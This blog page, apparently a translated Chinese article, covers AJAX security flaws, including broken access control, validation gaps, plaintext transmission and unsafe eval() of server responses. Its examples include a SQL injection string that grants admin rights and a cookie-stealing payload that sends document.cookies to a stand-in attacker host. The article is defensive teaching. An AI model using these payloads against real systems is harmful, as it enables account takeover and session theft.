- 浏览: 182726 次
- 性别:
- 来自: 上海
-
文章分类
- 全部博客 (174)
- rails (25)
- js (15)
- ruby (30)
- webserver (5)
- mysql (13)
- security (5)
- thinking (5)
- common sense (2)
- linux (18)
- android (26)
- web browser (1)
- config and deploy (1)
- mac (5)
- css (2)
- db (8)
- version manager (1)
- editor (1)
- job (1)
- OOA (1)
- php (1)
- apache (2)
- mongrel (1)
- Mongodb (1)
- facebook (1)
- 架构 (1)
- 高并发 (1)
- twitter (1)
- Erlang (1)
- Scala (1)
- Lua (1)
- ubuntu (3)
- cache (1)
- 面试题 (2)
- android layout (2)
- android控件属性 (2)
- java (5)
- customize view (1)
- advanced (2)
- python (2)
- 机器学习 (5)
最新评论
Web开发者不会注意到由 “AJAX(Asynchronous JavaScript And XML)”所带来的激情。不费力气就能创建像Google Suggest那样的智能网站或者像Gmail那样基于Web的应用程序,这在很大程度上要归功于这种技术。然而,伴随着AJAX应用程序的发展,我们发 现了它的一些不足之处,我们发现它的安全漏洞也在逐渐变大,就像慢慢地把基于AJAX的站点放入了一颗定时zhadan中。
AJAX的好处
在当年“Web应用程序”的美好时代,事情非常简单。你填写了一个表单,点击“提交”按钮,然后当前屏幕就消失了,等待一小会儿后你就转入到了下一个页面。今天的状况已经不是这样的了,用户需要的是一种就像任何桌面应用程序那样流畅、快捷和人性化的Web体验。
AJAX经常是和DHTML(Dynamic HTML)一起协作的,它的顺利执行需要允许网页中的JavaScript代码和web服务器在后台无缝通讯。比方说,当你开始在Google Suggest的搜索框中输入东西时,web页面就和服务器在后台开始交换数据,然后会给出一些你可能需要的词条等。所有的这一切都不需要页面刷新或者按 下任何按钮。同样这也就是像Gmail那样的应用程序怎么能对实时拼写检查做的那么好的原因。
AJAX怎样工作
AJAX复杂的原理已经超出了今天所要阐述的范围,这里只简单描述一下。你的页面上的JavaScript代码能够在不依赖于用户的情况下和你的 Web服务器取得联系。这里面起核心作用的就是JavaScript的XMLHttpRequest对象,这个对象能够被就像用户敲击键盘或者时钟事件在 后台或者异步触发(也就是术语异步JavaScript和XML)。
如果你在Google Suggest中输入“ajax”后,就会得到像我输入后得到的服务器请求一样:
1. www.google.com/complete/search?hl=en&js=true&qu=aj
2. www.google.com/complete/search?hl=en&js=true&qu=aja
3. www.google.com/complete/search?hl=en&js=true&qu=ajax
在这个术语中的XML部分有一点会引起人们的误解,其实这一部分是没有任何意义的。它是从JavaScript对象得来的名字,同时许多 AJAX风格的应用程序使用了XML,这个对象能够就任何事务向服务器发出一个请求。甚至JavaScript代码本身也能够被取回和评估。继续完成我的 输入“ajax example”,将会从Google的服务器产生下面的回应:
sendRPCDone(frameElement, “ajax example”, new Array(”ajax example”, “ajax examples”), new Array(”153,000 results”, “177,000 results”), new Array(”"));
这将会给你一些关于强大的AJAX的暗示吧,它具有在运行中(on the fly)把新的JavaScript代码加入到浏览器中的能力。然而,最优化的方法看起来好像束缚了XML协定。举个例子说明一下,比如Google产生了下面的这个东西:
ajax example
153,000
ajax examples
177,000
显然,你可以在一个合适的表单中解释这些XML数据,但我们要感谢JavaScript,它确实能够在一些非常典型的限制条件下和大量讨厌的IE bug环境里非常好的处理XML对象。
为了帮助你理解一些Ajax的问题,我在这里给你介绍一个假想的旅行公司-“时代尖端旅行公司”。由于受到AJAX bug的推动,他们的主要web开发者Max Uptime为了创建一个这样的应用程序,他决定混合使用AJAX,这样,他走在时代尖端了。
AJAX的问题
半数以上的AJAX安全风险来自隐含在服务器中的漏洞。显然,使用安全编码技术的好的设计,对于更安全的AJAX大有帮助,我们需要感谢Max 熟悉开放万维网应用安全计划(the Open Web Application Security Project – OWASP)排名前十的最严重web应用程序安全漏洞列表(www.owasp.org )。不幸的是,当Max实现AJAX的时候,他仍然需要面对许多额外的因素:
1.新的技术:如果Max想把他的站点连接到一个SQL数据库,他在Google查到了数百万的例子。AJAX技术,不管这种技术有多年轻,它仍然 是出现在采购循环中相对较早的,尽管它只有很少一部分好的例子出现在网络上。为了解决一些难处理的和不必要的复杂问题,这就要求像Max那样的开发者去自 主开发。Max也就不得不编写服务器端和客户端的代码,创建他自己不太确定的协议(特别是对服务器响应来讲)。不管这些协议有多好,都将会及时表现在页面 上。
2.非传统方式的设计:AJAX有一点点不同于传统设计方式,因为这样的应用程序是半客户端半服务端的。在Max的例子里,他是唯一的开发者,所以 他为服务端和客户端都能够进行编码。在同一时间使用两种不同的语言(特别是在早期阶段)进行开发将会产生一些初级的编码错误,因为他要在两端来回跳跃,对 一端来讲非常好,但可能在另一端不能够胜任。即使Max有一个大的开发团队,安全编码责任也可能在服务端和客户端开发小组之间代码移交的时候发生问题。
3.太多的脚本语言:Max凭借他自己的聪明才智决定建立世界上最优秀的旅行登记工具。你从输入你现在的位置(通过邮政编码、电话区号或者 GPS等等)开始登记,这时候一个AJAX请求就会被立即发送来确定你确切的位置。从那时候开始,屏幕上就会填入你所有可以利用的旅行方式,这一切甚至都 是在你决定你想要去什么地方、你打算什么时候动身和你打算和谁一同去之前就完成的。
这个屏幕上的单元格和控件都充满了AJAX驱动,服务器端和客户端的脚本可能需要超过20个不同的服务器调用。你可以想像一个很小的个体服务器程 序,比如findairportsbylocation.aspx 或者 determinemaxbaggageallowancebyairline.php.
显而易见,如果没有Max的仔细计划(比如创建多功能的“重载”JavaScript函数和服务器脚本),每一次设计他都需要创建超过40个独立的 部分。更多的编程意味着会产生更多的错误和bug,意味着需要更多的时间去编写、管理、测试和更新代码。不仅如此,因为在客户端的 JavaScript代码中应用了大量的这种脚本,他们在正式的程序测试中也容易变得很健忘。
4.确定小部分的AJAX不会引起危害:这个站点是一个计划出行的站点,但是Max考虑的是它将立刻为你提供一个显示精确位置的卫星视图,并且把你 所要到达目的地的天气情况也提供给你。AJAX最大的诱惑之一看起来好像是直到最后一刻它还在进行其它的操作,就像一个讲解员在那里解说一样,为了 AJAX使用了AJAX。当Max开始尝试他的新想法时,他会逐渐尝试增加更多新的功能,完全忽视测试的需要。
5.不安全的通讯:每一个AJAX调用可能只回传很少数量的数据给客户端,但那些数据是私有的、保密的。Max可以编写一个便利的工具来对你的信用 卡号码进行数字校验,但是如果使用纯文本代替over SSL进行发送数据会怎样呢?这是一个显而易见的问题,但是当有许多例行程序需要考虑,特别是屏幕上其它99%的数据不是真正的机密数据时,很容易就会忽 视掉SSL的。
6.服务器端访问控制:使用JavaScript程序来触发AJAX经常会掩饰一些显而易见的编码错误,服务器端访问控制就是一个例子。假设Max想参考你上次游览的一个详细目的地来为你提供你中意的旅馆,他可能会是像下面这样:
showprevioushotels.aspx?userid=12345&destination=UK
这当然是非常好的,但是如果一个恶意用户把URL改成了如下所示该怎么办呢:
showprevioushotels.aspx?userid=12346&destination=%
他们会得到其他人最喜爱的旅馆吗?(注意:%在SQL语句中是通配符)。无疑,这是一个没有什么危害的例子,但是Max应该使用 session、cookie或者其它符号形式来确保数据能并且只能发送到正确的用户那里。它们可能仅仅是数据的一小部分,但它们可能就是最重要的一小部 分。
7.服务器端验证:实际上这里有两个问题。第一,AJAX控制经常被用来在用户最后提交到服务器之前的输入验证。这麻痹了Max,使Max有一种虚 假的安全感,原因是他建立了称作alloweddestinations.php的函数,根据用户的ID来决定他们能够到达的正确目的地。
因为这是一个服务器端的检查,当这个页面最后被提交的时候他不必再次为在服务器上做检查而烦恼,这里我们假定不会有恶意的用户暗中破坏从alloweddestinations.php的响应或者破坏对服务器最后的请求。
AJAX控制可以比用户自己更仔细验证用户的输入,但是他们还是经常在服务器上最后做一次验证。
AJAX验证的第二个问题就是控制本身会受到验证漏洞的影响。这里再次强调一下,URL通常是隐藏着的,所以也会经常忘掉它。举例说明一下,也许我可以使用SQL Injection来对刚才的脚本进行攻击,如下所示:
showprevioushostels.aspx?userid=’; update users set type=’admin’ where userid=12345;–
就会让我登录后具有系统管理员的权限。当然,如何取得那些表名(table)和字段名已经超出了本文讨论的范围,但是你已经了解这种情况了,不是吗?
8.客户端验证:我们已经知道在刚才的Google Suggest例子中,通过简单评测服务端的响应后动态创建和执行JavaScript函数是可行的。如果没有任何形式的验证(如果这样的话在客户端很难 保证可靠性和流畅性),客户端将仅仅简单执行服务器需要它完成的事情。
这样的话,由于真正的代码怎么执行的对于一个普通用户来讲是永远看不到的(也就是说你不能够“查看源文件”),于是潜在地为恶意的黑客们打开了一个 完全的攻击导向。如果服务器的响应持续不断地被捣乱(这种破坏行为可能是在Web服务器本身也可能是在数据传输过程中),这种攻击将很难被发现。
Max使用下面的响应在目的地网页上更新天气图标,他是用的函数是eval();函数:
updateWeatherIcon(’cloudy.gif’);
然而,恶意的cracker能够把这个函数变成下面的形式,这样要发现这种攻击就更加困难了:
updateWeatherIcon(’www.myhackingsite.ru/grab.aspx?c=’ + document.cookies); updateWeatherIcon(’cloudy.gif’);
我们现在能够在我们自己的服务器上跟踪每一个用户的session ID/cookie。
小结
毫无疑问,AJAX和AJAX-style技术都是通向web设计的光明大道。开发者可以在web上创造出以前从所未有的真正的“应用程序”,使用AJAX必须小心谨慎,这样才能够保证web站点的安全。
然而,最大的威胁之一,来自日益复杂的使用AJAX的客户端脚本和服务器端脚本。这些脚本被技术手段隐藏在了视线之外,使测试很不直观;同时,这种 新技术看起来也使web开发者忘掉了基本的好的编码方式。就像访问控制和输入校验这样的问题也不会消失,它们变得更多更复杂了。
发表评论
-
jquery的html方法里包含特殊字符的处理
2017-08-11 08:27 1685在使用jquery的html()方法时,有时候里面添加的h ... -
jquery editable
2016-11-17 22:00 556http://www.cnblogs.com/xiaoyao ... -
Custom dialog for data-confirm in Rails
2016-10-11 17:24 855Every Rails developers might ... -
Dynamically loading external JavaScript and CSS files
2015-06-04 14:15 565To load a .js or .css file dyn ... -
javaScript document对象详解
2015-06-04 13:05 672注:页面上元素name属性和JavaScript引用的名称必 ... -
js代码收藏
2015-06-04 12:56 494js对象转换成jquery对象: jQuery(d ... -
邮箱suggest
2015-06-04 12:35 595<!DOCTYPE html PUBLIC " ... -
Creating a 100% ajax CRUD using rails 3 and unobtrusive javascript
2014-12-29 22:29 773Creating the project and ... -
jQuery操作checkbox选择
2014-12-29 18:59 666<!DOCTYPE html PUBLIC &qu ... -
Rails 3.2 的 Ajax 向导
2014-12-29 18:50 515原文: http://chloerei.com/2012/0 ... -
ajax
2014-03-02 12:59 610http://www.w3school.com.cn/aja ... -
js源码
2014-02-28 18:53 438在github里搜javascript https://g ... -
Check & Uncheck checkboxes
2014-02-24 17:47 686google=>js select all htt ... -
jQuery api
2011-01-18 14:33 1025$(document).ready(function() ...
相关推荐
首先,我们来谈谈AJAX(Asynchronous JavaScript and XML),它是当前Web开发中使用的一种重要的技术,它允许Web页面在不重新加载整个页面的情况下,与服务器进行数据交换并更新部分网页内容。AJAX主要依赖于一种...
内容概要:本文详细介绍了利用FLAC3D进行隧道台阶法施工模拟的方法和技术细节。首先解释了隧道台阶法施工的基本流程,重点在于开挖命令的应用,如'zone cmodel assign'和'zone remove'用于改变区域本构模型并执行开挖操作。接着阐述了支护结构的设置方法,包括超前加固体、初衬、二衬、锚杆和锁脚锚杆的具体配置方式。此外,还讲解了如何通过'mesh'命令直接在FLAC3D中生成符合实际工程需求的网格模型。最后展示了模拟后的围岩体位移云图和应力云图,验证了计算结果的有效性,强调了这些数据对优化施工方案的重要性。 适合人群:从事岩土工程、隧道工程及相关领域的工程师和技术人员。 使用场景及目标:适用于需要进行隧道施工模拟的专业人士,旨在提升他们对FLAC3D的理解和应用能力,确保隧道施工的安全性和高效性。 其他说明:文中提供的实例和命令操作均基于真实项目经验,有助于读者更好地理解和掌握FLAC3D的实际应用技巧。
内容概要:本文介绍了纤维骨料细观尺度混凝土模型的设计与应用,重点在于如何通过控制骨料尺寸和体积率,在不同有限元软件(如Abaqus、Ansys、Ls-Dyna、Flac3d)中进行有效的四面体网格划分和六面体网格投影。文中提供了生成随机骨料位置和直径的Python代码片段,并详细解释了网格划分过程中需要注意的技术细节,如碰撞检测、网格转换公式以及材料属性设置。此外,还讨论了模型验证的方法及其在实际工程项目中的应用价值。 适合人群:从事土木工程、材料科学领域的研究人员和技术人员,尤其是那些需要利用有限元方法进行混凝土结构分析的专业人士。 使用场景及目标:①帮助工程师更好地理解和预测纤维混凝土的行为特性;②为实际工程项目提供理论支持和技术指导,从而优化纤维混凝土的应用;③提高仿真精度,减少实验成本和时间。 其他说明:文中提到的一些具体操作步骤和技术细节对于初学者来说可能具有一定挑战性,建议读者在实践中逐步掌握相关技能并积累经验。同时,正确设置物理量单位非常重要,错误的单位可能导致计算结果严重偏离预期。
嵌入式八股文面试题库资料知识宝典-c++个人笔记总结.zip
内容概要:本文详细介绍了西门子S7-1200 PLC在工业自动化领域的应用,重点讲解了其模块、板卡和通讯方式。首先概述了PLC模块和板卡作为基本单元的作用,接着深入探讨了支持的多种通讯协议,包括Modbus-RTU、S7通讯、Modbus-TCP和TCP/IP等。每种协议都配有具体的代码分析和调试方法。最后,介绍了博途V16编程软件的使用体验,强调了其对S7-1200 PLC编程的支持。 适合人群:从事工业自动化领域的工程师和技术人员,尤其是对西门子S7-1200 PLC有初步了解或希望深入了解的人群。 使用场景及目标:适用于需要掌握PLC模块化设计、不同通讯协议的应用场景,旨在帮助读者理解PLC的工作原理,提高编程和调试能力,从而更好地应用于实际项目中。 其他说明:文中提供的实例和代码分析有助于读者快速上手,同时推荐使用博途V16及以上版本的编程软件进行实践操作。
内容概要:本文介绍了Comsol仿真软件在等离子体空气反应领域的应用,重点探讨了其无模型反应框架的功能。该框架能模拟超过40种气体(如氧气、氮气、氦气)的详细反应过程,提供碰撞截面数据、迁移率扩散系数、速率系数和汤森系数的查询与求解功能,并通过bosig+模块实现自定义反应路径的选择。此外,文中强调了代码分析与实践应用的重要性,以及这些功能如何提升等离子体反应研究的效率和准确性。 适合人群:从事等离子体物理、化学反应动力学及相关领域研究的专业人士和技术人员。 使用场景及目标:适用于需要精确模拟复杂等离子体环境中气体反应的研究项目,旨在提高对等离子体反应机制的理解,优化实验设计,预测反应行为。 其他说明:Comsol仿真软件凭借其强大的计算能力,在等离子体研究中扮演着重要角色。随着技术的发展,该框架有望进一步推动相关领域的创新和发展。
嵌入式八股文面试题库资料知识宝典-同方万维硬件测试工程师.zip
嵌入式八股文面试题库资料知识宝典-c,c++笔试.zip
少儿编程scratch项目源代码文件案例素材-激光连接.zip
嵌入式八股文面试题库资料知识宝典-奔图电子-软件笔试试题v1.1(C,C++工程师).zip
嵌入式八股文面试题库资料知识宝典-国科环宇有限公司.zip
基于LDA主题模型对AIGC的影响力分析.pdf
可以自己添加应用和功能版,在/opt/upt/apps/下面添加ubin目录和ulib目录,把你想用的程序添加到ubin,支持模块添加到ulib中,就可以运行,具体刷机操作,请看《》
内容概要:本文探讨了遗传算法在车辆路径优化问题(VRP)中的应用及其改进,特别是在冷链物流、软时间窗和多配送中心场景下的路径优化策略。文中介绍了遗传算法通过模拟自然界进化过程来寻找最优路径解决方案的能力,并详细讨论了其在冷链物流中的重要性,即确保产品运输过程中的温度稳定和时效性。此外,还提到了软时间窗概念的应用,以平衡客户满意度和运输成本。在多配送中心场景下,遗传算法能有效处理复杂路径规划问题,如外卖配送路径优化和充电桩电车车辆路径优化。除了遗传算法,蚁群算法、模拟退火算法和粒子群算法也在不同类型的路径优化问题上得到广泛应用,如旅行商问题(TSP)、容量约束的车辆路径规划(CVRP)和带距离、容量和时间窗约束的车辆路径规划(VRPTW)。最后,文章强调了遗传算法改进的研究方向,旨在提高运算速度和精度,从而提升物流效率和客户满意度。 适合人群:从事物流与运输领域的研究人员和技术人员,对车辆路径优化感兴趣的学者和从业者。 使用场景及目标:适用于冷链物流、外卖配送、充电桩电车等多种实际应用场景,旨在优化路径规划,降低运输成本,提高客户满意度。 其他说明:本文不仅介绍了现有算法的应用情况,还指出了未来可能的研究方向和发展趋势。
内容概要:本文详细介绍了物流领域的车辆路径优化(VRP)及其扩展问题——带时间窗的车辆路径优化(VRPTW),并探讨了冷链物流车辆路径优化(考虑充电桩需求)。文中通过MATLAB实现了遗传算法解决这些问题的具体步骤,包括参数设置、种群初始化、适应度函数计算、遗传算法循环等。此外,还讨论了多配送中心场景下的路径优化挑战和其他优化算法(如蚁群算法、粒子群算法、节约算法和模拟退火算法)的应用。最后,针对冷链物流和电动汽车路径优化提出了具体的解决方案和技术细节。 适合人群:从事物流管理、运筹学、算法设计的研究人员和工程师,尤其是对MATLAB有一定基础的技术人员。 使用场景及目标:适用于需要优化物流配送路径的企业和个人,旨在提高配送效率、降低成本、提升服务质量。具体应用场景包括但不限于城市配送、冷链运输、电动车辆调度等。 其他说明:文中提供了完整的MATLAB代码示例,帮助读者更好地理解和实践各种优化算法。同时,强调了不同算法的特点和适用条件,便于读者根据实际情况选择最合适的算法。
嵌入式八股文面试题库资料知识宝典-文思创新面试题2.zip
嵌入式八股文面试题库资料知识宝典-网络编程.zip
少儿编程scratch项目源代码文件案例素材-火柴人防御.zip
AI数字形象制作口播视频
少儿编程scratch项目源代码文件案例素材-绝地武士冲刺.zip